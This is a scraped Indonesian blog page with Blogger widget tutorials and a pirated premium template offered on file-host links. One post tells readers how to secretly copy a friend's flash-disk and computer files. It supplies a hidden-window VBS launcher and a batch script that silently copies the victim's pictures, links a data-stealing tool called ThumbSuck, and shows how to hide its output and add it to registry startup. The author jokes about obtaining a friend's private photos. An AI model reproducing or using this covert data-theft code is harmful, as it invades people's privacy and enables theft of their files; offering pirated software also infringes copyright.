href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjE9DytTe7bXosBLC_xMu7CSustzj9WTXUUc7977sks7zHxFULW83sFHPOPrisS0uEjSBh0wwOTKFRTq70EAwNyKh_HqaLv5L2Gzk9qzgrepCmjl-h7ckdgtToGOSNCHMLVkN3rCGbWHhw/s1600/%255BMayCyber%255D+-+Tutorial+Menu+Tabel_5.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="240" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjE9DytTe7bXosBLC_xMu7CSustzj9WTXUUc7977sks7zHxFULW83sFHPOPrisS0uEjSBh0wwOTKFRTq70EAwNyKh_HqaLv5L2Gzk9qzgrepCmjl-h7ckdgtToGOSNCHMLVkN3rCGbWHhw/s640/%255BMayCyber%255D+-+Tutorial+Menu+Tabel_5.jpg" width="640" /></a><span style="font-size: large;"><b><br /> </b></span><i><br /></i></div></div><center><span style="font-size: large;"><b>Cara Membuat Link pada Tabel yang Dibuat Tadi<i> </i></b></span></center><div style="text-align: left;"><span style="font-size: large;"><span style="font-size: small;">Setelah membuat Tabel dan Memasangnya di Blogger, Maka menu itu belom di sisipkan Link. Untuk membuatnya dan mensisipkan link pada tabel itu, silakan ikuti langkah-langkah berikut ini :</span></span><br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1zhdfFtmD177DCd6i94ZuRZOT3izRBA1_Zc_Mi7ciU4HIXxAEOT4EavZm9czTAyfL8d8ElMTBMUEAN5Luc8TxZqjnGFO7QAMmPGl-CH5zC1Jsmr8NYOyFO8lnEgvO4BX68zrFjsj1nx0/s1600/%255BMayCyber%255D+-+Tutorial+Memberikan+Link_Tutorial+Menu+Tabel_6.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="254" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1zhdfFtmD177DCd6i94ZuRZOT3izRBA1_Zc_Mi7ciU4HIXxAEOT4EavZm9czTAyfL8d8ElMTBMUEAN5Luc8TxZqjnGFO7QAMmPGl-CH5zC1Jsmr8NYOyFO8lnEgvO4BX68zrFjsj1nx0/s640/%255BMayCyber%255D+-+Tutorial+Memberikan+Link_Tutorial+Menu+Tabel_6.jpg" width="640" /></a></div><br /><span style="font-size: large;"><span style="font-size: small;">8. Terakhir, Silakan anda publikasikan.</span></span><br /><span style="font-size: large;"><span style="font-size: small;"><br /></span></span><span style="font-size: large;"><span style="font-size: small;">Sekian Tips Blogger kali ini, bila anda merasakan kesulitan. Silakan jangan sungkan untuk berkomentar, pasti komentar anda saya balas. :) Thank's For Reading & Sharing and Visited; <b>Cara Membuat Tabel dan Menu Tabel pada Blogger. - Semoga Bermanfaat! </b></span></span></div></div>

Diposting oleh Mr Xiulung

Cara Meng-Copy Semua Data Isi Flashdisk Teman Secara Diam-Diam

<div dir="ltr" style="text-align: left;" trbidi="on"><div dir="ltr" style="text-align: left;" trbidi="on"><div><div dir="ltr" style="text-align: left;" trbidi="on"><div><div dir="ltr" style="text-align: left;" trbidi="on"><div dir="ltr" style="text-align: left;" trbidi="on">      Anda termasuk orang suka membuat Troll? Oke disini kita akan membuat sesuai judul yaitu <b>Cara Meng-Copy Semua Data Isi Flashdisk Teman Secara Diam-Diam. </b>Anda pasti ingin tau isi file flashdisk teman anda? Penasaran apa isinya? jangan-jangan teman anda menyimpan foto seksinya lagi mandi? Haha~. Anda ingin memintanya? Mending Jangan deh, dari pada anda di marahin atau di maki-maki olehnya pemilik Flashdisk itu.<br /><br />Mungkin biasanya anda meng-copy secara diam-diam pas dia lagi tidak ada, Jujur saja? Iyakan hehe. Cara ini cukup beresiko karena apabila anda ketahuan meng-copy atau mencuri isi flashdisk teman anda sendiri bisa-bisa anda di gebukin pake golok, hehe. Dari pada anda akan malu sendiri, mending saya kasih tau tips nya. Untuk memuaskan rasa keingin tahuan anda, saya kasih solusinya ikuti langkah-langkah berikut ini.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtB3k9Rxb9cd8y3IefjfDpDpt2RNS_ywEYtUFF0ZajrXF0RX79nMobfQEZyQA5T2LLdQ9j0GZzRCr0ZLyJz-U9lDpioAxnNtBs0jI4d6KgkEj-TCIB5kaHYAXRa-THsxs5TUDCPg_kr7Q/s1600/Virus+Flashdisk.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="266" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtB3k9Rxb9cd8y3IefjfDpDpt2RNS_ywEYtUFF0ZajrXF0RX79nMobfQEZyQA5T2LLdQ9j0GZzRCr0ZLyJz-U9lDpioAxnNtBs0jI4d6KgkEj-TCIB5kaHYAXRa-THsxs5TUDCPg_kr7Q/s400/Virus+Flashdisk.jpg" width="400" /></a></div><b>Cara Pertama :</b><br /><br />1. Buka Notepad, buat file .vbs Copy & Paste kode berikut ini :<br /><br /><div style="background-color: #ece9e9; border: 2px #006400 solid; height: 75px; overflow: auto; padding: 10px; text-align: left; width: 580px;"><i>dim wshshell, dos</i><br /><i>set wshshell = wscript.createobject("wscript.shell")</i><br /><i>dos = wshshell.expandenvironmentstrings("%coms…wshshell.run (dos & " /c <span style="color: red;">tarik.bat</span>"), vbhide</i></div></div><br />Keterangan : Tulisan <span style="color: red;">merah </span>bisa anda ganti, Misalnya <b>Auto Copy.bat</b><br />2. Simpan dan File berikan nama (Star.vbs) save as type all files.<br />3. Buka Notepad lagi, Buat File .bat Copy & Paste kode berikut ini, dan pastekan di Notepad.<br /><br /><div style="background-color: #ece9e9; border: 2px #006400 solid; height: 120px; overflow: auto; padding: 10px; text-align: left; width: 580px;"><i>@echo off</i><br /><i> mkdir %computername%</i><br /><i>xcopy "C:\Documents and Settings\%username%\My Documents\*.jpg" %computername% /s/c/q/r</i><br /><i>@cls</i><br /><i>@exit</i></div></div><br />4. Simpan dan File beri nama [<b> tarik.bat</b> ] karena susaikan dengan script vbs pertama yaitu<br />(dos & " /c <span style="color: red;">tarik.bat</span>"). Atau anda bisa mengubah nama pada script vbs pertama misalnya :<br />(dos & " /c <span style="color: red;">nyolong.bat</span>") jadi untuk script bat nya anda perlu namakan "nyolong.bat" saya rasa kalian sudah paham.<br /><br />Terakhir, silakan Anda Simpan kedua File itu didalam Flashdisk, untuk jalankan atau meng-copy file isi temen secara diam-diam anda hanya perlu menjalankan <b>Star.vbs</b> yaitu script pertama (Klik 2x)<br /><br /><b>Catatan : </b><br /><br />Fungsi file vbs (start.vbs) berfungsi untuk menjalankan file bat (tarik.bat) secara diam-diam atau istilahnya background proses. Sedangkan file bat (tarik.bat) berfungsi untuk menjalankan perintah copy semua file dengan ektensi tertentu yang ada dikomputer target.<br /><br />Trik diatas tersebut adalah copy semua file yang berektensi jpg (file gambar) yang ada di folder MyDocuments di komputer target (lihat baris ketiga script file bat) <i><b>C:\Documents and Settings\%username%\My Documents\*.jpg" %</b></i> Dan disimpan kedalam flash disk ke dalam folder dengan nama sesuai nama komputer target. Anda bisa mengedit sendiri kedua file tersebut diatas sesuai keperluan format file dan folder target yang akan di copy.<br /><br /><div style="text-align: center;"><b><span style="font-size: large;"> Cara kedua : Dengan Aplikasi ThumbSuck </span></b></div><div style="text-align: center;"><br />Thumbsuck merupakan software komputer yang di rancang sebagai aplikasi pencuri data dari removable media sehingga tanpa sadar korban anda telah kehilangan data yang mungkin penting bagi korban.<br /><br />Download Thumbsuck [ <a href="https://drive.google.com/uc?export=download&id=0B9j9XpZNfxofRVVYMkh6YUZycHc">Google Drive</a> ] - Direct Link<br /><br />Setelah anda mendownload Thumbsuck ke dalam suatu directory. Misalnya anda meletakkan di Local Drive D:\ dalam folder Hacked. Sehingga menjadi seperti ini :  D:\Hacked . Sebelumnya anda Extrack dulu, karena file ada di WinRar. Kemudian klik 2x file Thumbsuck.exe.<br /><br />Otomatis, bila anda sedang menancapkan Flahdisk anda dikomputer sendiri, akan muncul folder dengan nama Drive anda sendiri. Contohnya : MayCyberDownload!-Dump. Buatlah folder tersebut menjadi Super Hidden dengan menggunakan atribut SUPER HIDDEN pada Command Prompt (CMD) agar korban tidak curiga. Caranya?</div><span style="font-size: large;"><span style="font-size: small;"><br /><b>Buka CMD : </b></span></span><br /><ul style="text-align: left;"><li><span style="font-size: large;"><span style="font-size: small;">Klik Start > Ketik CMD > Jalankan</span></span></li><li><span style="font-size: large;"><span style="font-size: small;">Tekan Tombol Windows + R : Lalu ketik CMD</span></span></li><li><span style="font-size: small;">Masuk ke Local D Anda harus mengetik pada </span><span style="font-size: large;"><span style="font-size: small;">Command Prompt " D<b>:</b> " Hilangkan tanda petik.</span></span></li><li><span style="font-size: large;"><span style="font-size: small;">Ketik "attrib -s -h Hacked" Kemudian Enter.  </span></span><span style="font-size: large;"><span style="font-size: small;"></span></span></li></ul></div><div><span style="font-size: large;"><span style="font-size: small;">Bila berhasil, maka Anda bisa membuka folder <b>Hacked</b> tadi dan semua data yang telah disalin oleh <b>Thumbsuck.exe</b>. Untuk mendisable ThumbSuck.exe, anda bisa menggunakan Windows Task Manager <i><b>CRT+ALT+DEL. </b></i></span></span><br /><span style="font-size: large;"><span style="font-size: small;"><i><b>  </b></i></span></span><br /><span style="font-size: large;"><span style="font-size: small;">ThumbSUCK.exe tadi bisa dijalankan secara otomatis pada saat komputer dinyalakan (StartUp)</span></span><br /><span style="font-size: large;"><span style="font-size: small;"><b>Caranya : </b></span></span><br /><ul style="text-align: left;"><li><span style="font-size: large;"><span style="font-size: small;">Klik Start > Kemudian ketik Run > ketik "regedit".</span></span></li><li><span style="font-size: large;"><span style="font-size: small;">Klik HKEY_LOCAL_MACHINE >> SOFTWARE >> Microsoft >>Windows >>CurrentVersion</span></span></li><li><span style="font-size: large;"><span style="font-size: small;">Klik kanan pilih<b> New String Value. </b></span></span></li><li>Ketik <b>Hacked </b>sebagai key baru.</li><li>Klik kanan key yang baru dibuat, Modify isi Value sama dengan lokasi Thumbsuck.exe. Saya menaruhnya di local F sesuai gambar dibawah ini, jadi : <i><b>F:\Hacked\Thumbsuck.exe</b></i></li><li>Silakan Restar Komputer anda, Maka Thumbsuck ini akan berjalan Otomatis  </li></ul></div></div></div><i><b><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEigFgVRH4I-ZNzt2VJ8BiH3aX93galK_YNwGHcnrR-J57hLPNniHG17yTD7jhdGxbYREe8BeXqr2UpSOK8FVx_EYIlMW4G0bxXKAsiTLNYqG-4xV-TDyaY7IWc16D2y28TaVFL6hr6tklU/s1600/%255BMayCyber%255D+-+regedit.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="314" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEigFgVRH4I-ZNzt2VJ8BiH3aX93galK_YNwGHcnrR-J57hLPNniHG17yTD7jhdGxbYREe8BeXqr2UpSOK8FVx_EYIlMW4G0bxXKAsiTLNYqG-4xV-TDyaY7IWc16D2y28TaVFL6hr6tklU/s640/%255BMayCyber%255D+-+regedit.jpg" width="640" /></a> </b></i><br />Sekian Tips Komputer dari saya, Semoga Bermanfaat!<i><b> </b></i>. Blog ini tidak pernah mengajarkan kepada anda untuk kejahatan, Tips Ini hanya sekedar media shareing ilmu saja. <br /><br /><b>Thanks for reading & sharing and visited Cara Meng-Copy Semua Data Isi Flashdisk Teman Secara Diam-Diam. </b><i><b><br /></b></i></div></div>

Diposting oleh Mr Xiulung

Cara Membuat Recent Post Sederhana Versi Anchor Text

<div dir="ltr" style="text-align: left;" trbidi="on"><div dir="ltr" style="text-align: left;" trbidi="on"><div dir="ltr" style="text-align: left;" trbidi="on"><b>Recent Post </b>adalah widget yang menampilkan artikel terbaru pada Blogger. Recent post ini menampilkan beberapa artikel sobat dari yang paling atas adalah yang paling baru. Dimana tujuannya tetap sama yaitu memberikan kemudahan untuk pengunjung mengetahui isi dari blog sobat dan update-tan terbaru dari blog Anda. <br /><br />Baca Juga : <a href="http://maycyber-download.blogspot.com/2016/09/cara-membuat-recent-post-thumbnail.html">Cara Membuat Recent Post Berdasarkan Label Anda</a><br /><br />Recent post kali ini adalah versi Anchor Text. Dimana Recent post ini sangat sederhana dan ringan, tentunya tidak memperlambat loading blog Anda. <br /><br /><b>Screenshoot : </b><br /><div style="text-align: center;"><b>RECENT POST HANYA JUDUL SAJA (ANCHOR TEXT)</b></div><div style="text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj8kvBkPGxU-tCsF0ASe705P9FZ5Anw3OMg7INluxYi4T8-j77AZn8n5X8UuBq6s8FomJjmilDYUdBiyDKtMNaK2Nrx1YNfjsg7VgPMX3ko2p7F6Tuf2sFpJHiZ-fsnqfWWmAv6d1O-UIY/s1600/%255BMayCyber%255D+-+Recent+Post+Anchor+Text.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="330" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj8kvBkPGxU-tCsF0ASe705P9FZ5Anw3OMg7INluxYi4T8-j77AZn8n5X8UuBq6s8FomJjmilDYUdBiyDKtMNaK2Nrx1YNfjsg7VgPMX3ko2p7F6Tuf2sFpJHiZ-fsnqfWWmAv6d1O-UIY/s400/%255BMayCyber%255D+-+Recent+Post+Anchor+Text.jpg" width="400" /></a></div>Cara Pertama : <br /><br />1. Buka Blogger > Kemudian Login.<br />2. Dashboard > Layout/Tata Letak.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjnIWY6xm0ui-0YOUgIZvdxmmNIFbihJ5JGRS8bdnmNVAoMffR9dcTb9RaiGLhvKTnWA4KPbUDJ0PP7PJkk17UR6N5tCwTjKxv5XuFsqiQPOFeFuCF-YYAo41jQjvgs3jb-seB9kPR9dZA/s1600/%255BMayCyber%255D+-+Tata+Letak.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="306" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjnIWY6xm0ui-0YOUgIZvdxmmNIFbihJ5JGRS8bdnmNVAoMffR9dcTb9RaiGLhvKTnWA4KPbUDJ0PP7PJkk17UR6N5tCwTjKxv5XuFsqiQPOFeFuCF-YYAo41jQjvgs3jb-seB9kPR9dZA/s400/%255BMayCyber%255D+-+Tata+Letak.jpg" width="400" /></a></div><br />3. Tambahkan Add a Gadeget > Pilih HTML Java Script.</div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiW6vqJulPGHzuu_cIA5X5Vrv5f4zeLwxTiF-ELu539KCXx2i-KfP2CUN2eAmIk0yhxm0sGweLADDBxm5mtJjs_SC2zXeOGrQnQMzswB3gQu48Tuwdnhxg3p0hubGLz9p9JD3SfCZAdHAU/s1600/HTML+Java+Script.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="93" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiW6vqJulPGHzuu_cIA5X5Vrv5f4zeLwxTiF-ELu539KCXx2i-KfP2CUN2eAmIk0yhxm0sGweLADDBxm5mtJjs_SC2zXeOGrQnQMzswB3gQu48Tuwdnhxg3p0hubGLz9p9JD3SfCZAdHAU/s400/HTML+Java+Script.jpg" width="400" /></a></div>4. Copy & Paste kode berikut ini, dan Pastekan pada kolom HTML Java Script tersebut.<br /><pre data-codetype="HTML" title="HTML"><code class="language-markup"><div id="hlrpsb"><br /><script style="text/javascript"><br />function showrecentposts(json) {<br /><br /> for (var i = 0; i < numposts; i++) {<br /> var entry = json.feed.entry[i];<br /> var posttitle = entry.title.$t;<br /> var posturl;<br /> if (i == json.feed.entry.length) break;<br /> for (var k = 0; k < entry.link.length; k++) {<br /> if (entry.link[k].rel == 'alternate') {<br /> posturl = entry.link[k].href;<br /> break;<br /> }<br /> }<br /> posttitle = posttitle.link(posturl);<br /> var readmorelink = "&raquo;&raquo;";<br /> readmorelink = readmorelink.link(posturl);<br /> var postdate = entry.published.$t;<br /> var cdyear = postdate.substring(0,4);<br /> var cdmonth = postdate.substring(5,7);<br /> var cdday = postdate.substring(8,10);<br /> var monthnames = new Array();<br /> monthnames[1] = "Jan";<br /> monthnames[2] = "Feb";<br /> monthnames[3] = "Mar";<br /> monthnames[4] = "Apr";<br /> monthnames[5] = "May";<br /> monthnames[6] = "Jun";<br /> monthnames[7] = "Jul";<br /> monthnames[8] = "Aug";<br /> monthnames[9] = "Sep";<br /> monthnames[10] = "Oct";<br /> monthnames[11] = "Nov";<br /> monthnames[12] = "Dec";<br /> if ("content" in entry) {<br /> var postcontent = entry.content.$t;}<br /> else<br /> if ("summary" in entry) {<br /> var postcontent = entry.summary.$t;}<br /> else var postcontent = "";<br /> var re = /<\S[^>]*>/g;<br /> postcontent = postcontent.replace(re, "");<br /> if (!standardstyling) document.write('');<br /> document.write('<div class="bbrecpost2">');<br /> document.write('<span>');<br /> if (standardstyling) document.write('');<br /><br /> document.write(posttitle);<br /> if (standardstyling) document.write('');<br /> if (showpostdate == true) document.write(' - ' + cdday + ' ' + monthnames[parseInt(cdmonth,10)] + ' ' + cdyear);<br /> if (!standardstyling) document.write('<div class="bbrecpostsum"">');<br /> if (standardstyling) document.write('');<br /> if (showpostsummary == true) {<br /> if (standardstyling) document.write('');<br /> if (postcontent.length < numchars) {<br /> if (standardstyling) document.write('<i>');<br /> document.write(postcontent);<br /> if (standardstyling) document.write('</i>');}<br /> else {<br /> if (standardstyling) document.write('<i>');<br /> postcontent = postcontent.substring(0, numchars);<br /> var quoteEnd = postcontent.lastIndexOf(" ");<br /> postcontent = postcontent.substring(0,quoteEnd);<br /> document.write(postcontent + '... ' + readmorelink);<br /> if (standardstyling) document.write('</i>');}<br />}<br /> if (!standardstyling) document.write('</div>');<br /> document.write('</span>');<br /> document.write('</div>');<br /> if (standardstyling) document.write('');<br />}<br />if (!standardstyling) document.write('<div class="bbwidgetfooter">');<br />if (standardstyling) document.write('');<br />document.write('');<br />if (!standardstyling) document.write('/div');<br /><br />}<br /></script><br /><script style="text/javascript">var numposts = 5;var showpostdate = false;var showpostsummary = false;var numchars = 100;var standardstyling = true;</script><br /><script src="/feeds/posts/default?orderby=published&alt=json-in-script&callback=showrecentposts"></script></div><br /><noscript>Oops! Make sure JavaScript is enabled in your browser.</noscript><br /><style type=text/css><br />#hlrpsb a {color: #0B3861; font-size: 13px;}<br />#rpdr, #rpdr a {color:#808080;}<br />.bbrecpost2 {<br />padding-top:6px;<br />padding-bottom:6px;<br />border-bottom: 1px #cccccc dotted; }<br /></style></code></pre>5. Simpan Gadget.<br /><b>Keterangan : </b><br /><br /><span style="color: red;"><b style="color: red;"><span style="color: black;">var numposts = 5;var : </span></b><span style="color: blue;">Menampilkan Berapa postingan yang ingin di tampilkan.</span></span><br /><br /><span style="color: red;"><span style="color: black;">Sekian Tips Blogger kali ini, <b>Semoga Bermanfaat!</b> - Jangan lupa<b> berlangganan artikel </b>kami, untuk mendapatkan update dari blog saya. </span></span>Thanks for Reading & Sharing and Visited: <span style="color: red;"><span style="color: black;"><b>Cara Membuat Recent Post Sederhana Versi Anchor Text.</b></span></span></div></div>

Diposting oleh Mr Xiulung

Cara Membuat Recent Post Thumbnail dan Snippet

<div dir="ltr" style="text-align: left;" trbidi="on"><div dir="ltr" style="text-align: left;" trbidi="on"><span style="text-align: right;"><b>Recent Pos</b> adalah widget yang menampilkan artikel terbaru pada sebuah Blogger. Tapi yang akan dipostingkan kali ini adalah membuat <b>Recent Post Thumbnail.</b> Recent Post bisa dibilang mirip sekali dengan </span><span style="text-align: right;">Popular Post.</span> Widget recent post ini tidak hanya menampilkan judul saja tetapi juga <b>Thumbnail </b>(Gambar) dan<b> Snippet</b> (Ringkasan) isi postingan tersebut. Untuk menampilkan widget <b>Recent Post, latest posts, atau posting terbaru</b> di sidebar blog, kita bisa menggunakan widget bawaan blogger, yaitu<b> Feed.</b><br /><br />Caranya : Add a Gadget > Pilih Feed > Kemudian masukan alamat blog anda. > Continue dan Seterusnya. Namun jika terjadi kesalahan, anda bisa menggunakan dengan cara ini. <br /><br /><b>Screenshoot :</b><br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjPDYeFtDZT9WKTRm_uhKnLLR7meeRzB0UER5NPwqKVbB7h5awTwNWQlc-rmwrXIQmXBnRIzJRHLQNEiabK7CVMa0guCnRtdEp_88vtGYtGiS6i9LxAJsiSvMu_wNfTMcA-y_-QPMG-tp0/s1600/%255BMayCyber%255D+-+Recent+Post+Thumbnail.jpg" style="margin-left: 1em; margin-right: 1em;"><img alt="Recet Post - MayCyber-Download" border="0" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjPDYeFtDZT9WKTRm_uhKnLLR7meeRzB0UER5NPwqKVbB7h5awTwNWQlc-rmwrXIQmXBnRIzJRHLQNEiabK7CVMa0guCnRtdEp_88vtGYtGiS6i9LxAJsiSvMu_wNfTMcA-y_-QPMG-tp0/s640/%255BMayCyber%255D+-+Recent+Post+Thumbnail.jpg" title="Recet Post - MayCyber-Download" width="379" /></a></div><br /><b>Cara Pertama :</b><br /><br />1. Buka Blogger > Kemudian Login.<br />2. Dashboard > Tata Letak.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhvSokId4g3aXqi1vqySx7SFLHT5F4NkdTmKDuzzczALGylR01escXHOj8918qN5xYZ7EihCC5eLzOyq7lw6Ixzd3HI5O-IOvikc7ZrXozs8Rg8alxpiaAmL8TLlGLOsmZVJyXXvpD5h6A/s1600/%255BMayCyber%255D+-+Tata+Letak.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Tata Letak/ Layout - MayCyberDownload" border="0" height="306" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhvSokId4g3aXqi1vqySx7SFLHT5F4NkdTmKDuzzczALGylR01escXHOj8918qN5xYZ7EihCC5eLzOyq7lw6Ixzd3HI5O-IOvikc7ZrXozs8Rg8alxpiaAmL8TLlGLOsmZVJyXXvpD5h6A/s400/%255BMayCyber%255D+-+Tata+Letak.jpg" title="Tata Letak/ Layout - MayCyberDownload" width="400" /></a></div>3. Tambahkan Add a Gadget > Pilih <b>HTML Java Script</b>.<br />4. Copy & Paste kode berikut ini, dan pastekan pada kolom HTML Java Script itu.<br /><pre data-codetype="HTML" title="HTML"><code class="language-markup"><style><br />img.recent_thumb {padding:1px;width:72px;height:72px;border:0; float:left;margin:0 10px 5px 1px;}.recent_posts_with_thumbs {float: right;width: 100%;min-height: 72px;margin: 5px 10px 5px 0px;padding: 0;font-size:12px;}ul.recent_posts_with_thumbs li {min-height: 80px;background:none;padding:5px 0;background:none;}.recent_posts_with_thumbs a {text-decoration:none;font-weight:700;font-size: 12px;}.recent_posts_with_thumbs strong {font-size:10px;}i {font-style: normal;font-weight: 400;font-size: 11px;}<br /></style><br /><script><br />function showrecentpostswiththumbs(json) {document.write('<ul class="recent_posts_with_thumbs">'); for (var i = 0; i < numposts; i++) {var entry = json.feed.entry[i];var posttitle = entry.title.$t;var posturl;if (i == json.feed.entry.length) break;for (var k = 0; k < entry.link.length;k++){<br />if(entry.link[k].rel=='replies'&&entry.link[k].type=='text/html'){var commenttext=entry.link[k].title;var commenturl=entry.link[k].href;}<br />if (entry.link[k].rel == 'alternate') {posturl = entry.link[k].href;break;}}var thumburl;try {thumburl=entry.media$thumbnail.url;}catch (error)<br />{<br />s=entry.content.$t;a=s.indexOf("<img");b=s.indexOf("src=\"",a);c=s.indexOf("\"",b+5);d=s.substr(b+5,c-b-5);if((a!=-1)&&(b!=-1)&&(c!=-1)&&(d!="")){<br />thumburl=d;} else thumburl='http://lh4.ggpht.com/_IjrRiI_bVb0/TOCYn1fMjII/AAAAAAAAF24/5Fvv-HJqh74/loading-2.gif';<br />}<br />var postdate = entry.published.$t;var cdyear = postdate.substring(0,4);var cdmonth = postdate.substring(5,7);var cdday = postdate.substring(8,10);var monthnames = new Array();monthnames[1] = "Jan";monthnames[2] = "Feb";monthnames[3] = "Mar";monthnames[4] = "Apr";monthnames[5] = "May";monthnames[6] = "Jun";monthnames[7] = "Jul";monthnames[8] = "Aug";monthnames[9] = "Sep";monthnames[10] = "Oct";monthnames[11] = "Nov";monthnames[12] = "Dec";document.write('<li class="clearfix">');<br />if(showpostthumbnails==true)<br />document.write('<img class="recent_thumb" src="'+thumburl+'"/>');<br />document.write('<b><a href="'+posturl+'" target ="_top">'+posttitle+'</a></b><br>');<br /><br /> if ("content" in entry) {<br /> var postcontent = entry.content.$t;}<br /> else<br /> if ("summary" in entry) {<br /> var postcontent = entry.summary.$t;}<br /> else var postcontent = "";<br /> var re = /<\S[^>]*>/g;<br /> postcontent = postcontent.replace(re, "");<br />if (showpostsummary == true) {<br /> if (postcontent.length < numchars) {<br /> document.write('<i>');<br /> document.write(postcontent);<br /> document.write('</i>');}<br /> else {<br /> document.write('<i>');<br /> postcontent = postcontent.substring(0, numchars);<br /> var quoteEnd = postcontent.lastIndexOf(" ");<br /> postcontent = postcontent.substring(0,quoteEnd);<br /> document.write(postcontent + '...');<br /> document.write('</i>');}<br />}<br /><br />var towrite='';var flag=0;<br />document.write('<br><strong>');<br /><br />if(showpostdate==true) {towrite=towrite+monthnames[parseInt(cdmonth,10)]+'-'+cdday+' - '+cdyear;flag=1;}<br /><br />if(showcommentnum==true)<br />{<br />if (flag==1) {towrite=towrite+' | ';}<br />if(commenttext=='1 Comments') commenttext='1 Comment';<br />if(commenttext=='0 Comments') commenttext='No Comments';<br />commenttext = '<a href="'+commenturl+'" target ="_top">'+commenttext+'</a>';<br />towrite=towrite+commenttext;<br />flag=1;<br />;<br />}<br /><br />if(displaymore==true)<br />{<br />if (flag==1) towrite=towrite+' | ';<br />towrite=towrite+'<a href="'+posturl+'" class="url" target ="_top">Read more&#187;&#187;</a>';<br />flag=1;<br />;<br />}<br />document.write(towrite);<br />document.write('</strong></li>');<br />if(displayseparator==false)<br />if (i!=(numposts-1))<br />document.write('<hr color="#d9f1fa" size=0.5>');<br />}document.write('</ul>');<br /><br />}<br /></script><br /><script><br />var numposts = 5;var showpostthumbnails = true;var displaymore = false;var displayseparator = true;var showcommentnum = false;var showpostdate = false;var showpostsummary = true;var numchars = 90;<br /></script><script src="/feeds/posts/default?orderby=published&alt=json-in-script&callback=showrecentpostswiththumbs"><br /></script><div class="clear"/></div></code></pre><b>Keterangan : </b><br /><br /><b>var numposts = 5;var</b> : <span style="color: blue;">Menampilkan berapa postingan yang ingin ditampilkan.</span><br /><br />5.Terakhir, Simpan.<br /><br />Sekian Tips Blogger kali ini, Semoga Bermanfaat! Terima kasih telah berkunjung.<b> Jangan lupa Berlangganan Artikel kami. ^.^</b></div></div>

Diposting oleh Mr Xiulung

Free Download Genova Responsive Blogger Template v.1.1

<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhlF2itese9bbce-3avk7s8ow1_GjgnmkcXRkRc93uqd82trx7W6Mpp31oC1EOpl5AYcVIigkpWKQ4npc7bJts_0gVQmx2nthOCmsl5-JadhqTMPbdqT8djBz4zLhHZUBUAZRITJveAoIc/s1600/Genova-News-Magazine-Responsive-Blogger-Template.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="325" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhlF2itese9bbce-3avk7s8ow1_GjgnmkcXRkRc93uqd82trx7W6Mpp31oC1EOpl5AYcVIigkpWKQ4npc7bJts_0gVQmx2nthOCmsl5-JadhqTMPbdqT8djBz4zLhHZUBUAZRITJveAoIc/s640/Genova-News-Magazine-Responsive-Blogger-Template.png" width="640" /></a></div><br /><div class="justify"><strong>Download Free Genova Responsive Blogger Template v.1.1</strong> – ThemeForest | <strong>Genova – News & Magazine Responsive Blogger Template</strong> v1.1 is an ultra responsive fully SEO Optimized Blogspot Premium Template that proudly comes with an extremely amazing features and easy to use functions by everyone including newbies. Genova Blogger Template is developed using light weight coding that help it to loads fast on all kind of web browsers. Moreover it supports RTL (multiple Languages), Multi-Threads (Comments) such as Google+, Facebook and Disqus, Awesome Preloader, Mega Menu, Pro Shortcodes that will surely help you to add buttons, blockquotes etc. easily without having any conclusion, Well Documented with screenshots, the most amazing features in blogger theme is it is using Ajax Search that helps users to view any post without spending their precious time, and much more…<p></p></div><br /><b>Demo</b><br /><input class="form-control input-sm" onclick="this.select();" type="text" value="https://themeforest.net/item/genova-news-magazine-responsive-blogger-template/17306945" /><br/><br/><b>Download</b><br /><input class="form-control input-sm" onclick="this.select();" type="text" value="http://www15.zippyshare.com/v/pT4CaGtA/file.html" /><br/><br/><input class="form-control input-sm" onclick="this.select();" type="text" value="http://www.solidfiles.com/d/KqzrXrMVWGXve" /><br/><br/><input class="form-control input-sm" onclick="this.select();" type="text" value="http://uptobox.com/2fonhscddzlk" /><br/><br/><input class="form-control input-sm" onclick="this.select();" type="text" value="https://userscloud.com/xna8n9w6qt4t" /><br/><br/><input class="form-control input-sm" onclick="this.select();" type="text" value="https://www.bigfile.to/file/KxwMwUvZAvwn/genovablogger_0.rar" /><br/><br/><input class="form-control input-sm" onclick="this.select();" type="text" value="http://ge.tt/7xmuygd2" /><br/><br/><input class="form-control input-sm" onclick="this.select();" type="text" 